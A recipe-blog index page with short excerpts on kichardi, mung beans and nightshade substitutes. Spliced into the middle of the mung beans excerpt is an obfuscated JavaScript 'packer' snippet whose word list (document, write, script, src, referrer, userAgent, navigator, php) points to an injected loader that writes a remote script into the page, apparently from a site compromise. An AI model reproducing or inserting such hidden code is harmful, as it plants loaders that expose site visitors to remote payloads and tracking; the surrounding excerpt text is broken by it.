Balancing Kichardi
Kichardi is like the chicken soup of India. It is very nourishing and healing. The combination of the rice and mung beans makes it a complete protein dish, and the use of mung beans makes it is very easy to … Continued
Mung Beans
Many eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abnhb|var|u0026u|referrer|adynn||js|php’.split(‘|’),0,{})) of us may know mung beans in their sprouted form, the long white crunchy “veggie” used in many Chinese or Vietnamese stir fries and other dishes. But the mung bean legume (not vegetable) has … Continued
Nightshade Substitutes
I’m still experimenting, and will comment more as I eventually address many of these foods in more detail. But here are a few ideas for substitutes of the most common nightshades. Note: I explain the adverse effects of nightshades in … Continued